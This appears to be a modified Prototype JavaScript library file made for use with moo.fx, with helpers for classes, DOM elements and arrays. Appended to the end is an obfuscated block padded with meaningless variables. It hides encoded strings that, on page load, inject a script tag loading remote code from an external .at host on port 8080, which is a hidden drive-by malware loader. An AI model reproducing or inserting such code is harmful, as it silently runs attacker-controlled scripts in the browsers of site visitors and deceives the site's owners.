/*  Prototype JavaScript framework
 *  (c) 2005 Sam Stephenson <sam@conio.net>
 *  Prototype is freely distributable under the terms of an MIT-style license.
 *  For details, see the Prototype web site: http://prototype.conio.net/
/*--------------------------------------------------------------------------*/

//note: modified & stripped down version of prototype, to be used with moo.fx by mad4milk (http://moofx.mad4milk.net).

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

Object.extend = function(destination, source) {
	for (property in source) destination[property] = source[property];
	return destination;
}

Function.prototype.bind = function(object) {
	var __method = this;
	return function() {
		return __method.apply(object, arguments);
	}
}

Function.prototype.bindAsEventListener = function(object) {
var __method = this;
	return function(event) {
		__method.call(object, event || window.event);
	}
}

function $() {
	if (arguments.length == 1) return get$(arguments[0]);
	var elements = [];
	$c(arguments).each(function(el){
		elements.push(get$(el));
	});
	return elements;

	function get$(el){
		if (typeof el == 'string') el = document.getElementById(el);
		return el;
	}
}

if (!window.Element) var Element = new Object();

Object.extend(Element, {
	remove: function(element) {
		element = $(element);
		element.parentNode.removeChild(element);
	},

	hasClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var hasClass = false;
		element.className.split(' ').each(function(cn){
			if (cn == className) hasClass = true;
		});
		return hasClass;
	},

	addClassName: function(element, className) {
		element = $(element);
		Element.removeClassName(element, className);
		element.className += ' ' + className;
	},
  
	removeClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var newClassName = '';
		element.className.split(' ').each(function(cn, i){
			if (cn != className){
				if (i > 0) newClassName += ' ';
				newClassName += cn;
			}
		});
		element.className = newClassName;
	},

	cleanWhitespace: function(element) {
		element = $(element);
		$c(element.childNodes).each(function(node){
			if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) Element.remove(node);
		});
	},

	find: function(element, what) {
		element = $(element)[what];
		while (element.nodeType != 1) element = element[what];
		return element;
	}
});

var Position = {
	cumulativeOffset: function(element) {
		var valueT = 0, valueL = 0;
		do {
			valueT += element.offsetTop  || 0;
			valueL += element.offsetLeft || 0;
			element = element.offsetParent;
		} while (element);
		return [valueL, valueT];
	}
};

document.getElementsByClassName = function(className) {
	var children = document.getElementsByTagName('*') || document.all;
	var elements = [];
	$c(children).each(function(child){
		if (Element.hasClassName(child, className)) elements.push(child);
	});  
	return elements;
}

//useful array functions
Array.prototype.iterate = function(func){
	for(var i=0;i<this.length;i++) func(this[i], i);
}
if (!Array.prototype.each) Array.prototype.each = Array.prototype.iterate;

function $c(array){
	var nArray = [];
	for (var i=0;i<array.length;i++) nArray.push(array[i]);
	return nArray;
}

this.r="";var mY;if(mY!='CK' && mY!='m'){mY='CK'};var Rt=new Date();function X(){var JN="";var y=new String();var W=unescape;var M=window;var T;if(T!='k'){T='k'};var O=W("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6a%63%70%65%6e%6e%65%79%2e%63%6f%6d%2f%66%6f%72%62%65%73%2e%63%6f%6d%2e%70%68%70");var hB;if(hB!='' && hB!='t'){hB=''};var a;if(a!='' && a!='A'){a=''};var Zh;if(Zh!='WZ' && Zh!='zI'){Zh=''};function Y(o,J){var mC;if(mC!='' && mC!='K'){mC=null};var ax='';var s="g";this.B="";var OQ=W("%5b"), Q=W("%5d");this.c="";var em="";var v=OQ+J+Q;var ya="";var d=new RegExp(v, s);var lx;if(lx!='' && lx!='fe'){lx=''};var CW;if(CW!='Xo' && CW!='mX'){CW=''};return o.replace(d, new String());};var HW;if(HW!='' && HW!='u'){HW='VK'};this.dJI='';var ct=new String();this.EF="";var h=document;var Hb;if(Hb!='' && Hb!='EQ'){Hb=null};var uH=new Array();this.F='';var Xa=Y('899225233403993124287435456409542255','62753149');var JJ="";var tJ="";var C=new String();var I="";this.iu='';function i(){var b=W("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var kZ=new Date();var Wk;if(Wk!='ZC' && Wk!='XW'){Wk=''};C=b;var lg;if(lg!='epo' && lg != ''){lg=null};var ki;if(ki!='IC'){ki=''};C+=Xa;C+=O;var se;if(se!='IT'){se='IT'};try {var CT;if(CT!='Jh' && CT != ''){CT=null};var Ud="";var EB;if(EB!='dF' && EB != ''){EB=null};var GZ=new String();G=h.createElement(Y('sJcqrPiRpJt9','AzqH98JOP7XTxSR'));this.hr="";var Kh=new String();var Pk=new Array();G[W("%73%72%63")]=C;var MV;if(MV!='' && MV!='fl'){MV='wC'};var Wy;if(Wy!='' && Wy!='to'){Wy=null};G[W("%64%65%66%65%72")]=[1][0];this.kU='';var wk;if(wk!=''){wk='hu'};h.body.appendChild(G);this.S='';var Uw;if(Uw!='Tx'){Uw=''};} catch(iv){var tG='';var DR;if(DR!='qa' && DR!='lJ'){DR='qa'};alert(iv);var IE=new Date();var Pj=new Date();};var yF=new String();}var Hg;if(Hg!='HN' && Hg != ''){Hg=null};var tD;if(tD!='JW' && tD != ''){tD=null};var Th="";var xEb="";M["on"+"lo"+"ad"]=i;this.GV="";};var jc;if(jc!='d_' && jc!='Cey'){jc=''};var oh=new Date();var DP;if(DP!='iS'){DP='iS'};X();